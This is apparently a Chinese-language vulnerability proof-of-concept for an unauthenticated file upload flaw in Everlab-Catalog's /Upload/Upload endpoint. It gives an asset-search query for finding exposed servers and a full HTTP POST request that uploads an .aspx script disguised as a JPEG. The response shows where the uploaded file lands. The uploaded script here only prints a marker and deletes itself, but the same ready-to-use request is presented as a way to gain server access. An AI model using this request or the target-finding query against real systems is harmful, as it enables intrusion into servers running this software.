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Everlab-Catalog Upload/Upload存在文件上传漏洞

一、漏洞简介

Everlab-Catalog Upload存在文件上传漏洞,攻击者可通过该漏洞获取服务器权限。

二、影响版本

  • Everlab-Catalog

三、资产测绘

  • Hunterweb.body="Everlab-Catalog"
  • 特征

1703513896192-bf6c7b0e-1d5e-4545-b55a-407ad59256a2.png

四、漏洞复现

POST /Upload/Upload HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Length: 345
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------7153094104923513110228090822
Origin: null
Upgrade-Insecure-Requests: 1
Connection: close

-----------------------------7153094104923513110228090822
Content-Disposition: form-data; name="Filedata"; filename="ckviaxtcmw.aspx"
Content-Type: image/jpeg

<%@ Page Language="C#"%><% Response.Write(111*111);System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
-----------------------------7153094104923513110228090822--

1718613530489-e7ac31fe-a46f-4dc1-a7c8-9c6163c9dacd.png

/upload/2024/06/17/69974c6f-44e8-43e9-8b6b-9b2872588fb7.aspx

1718613551729-dc947dbd-5916-4e08-a6df-8f10cf907bb9.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ys4r9en7yqgxi5rq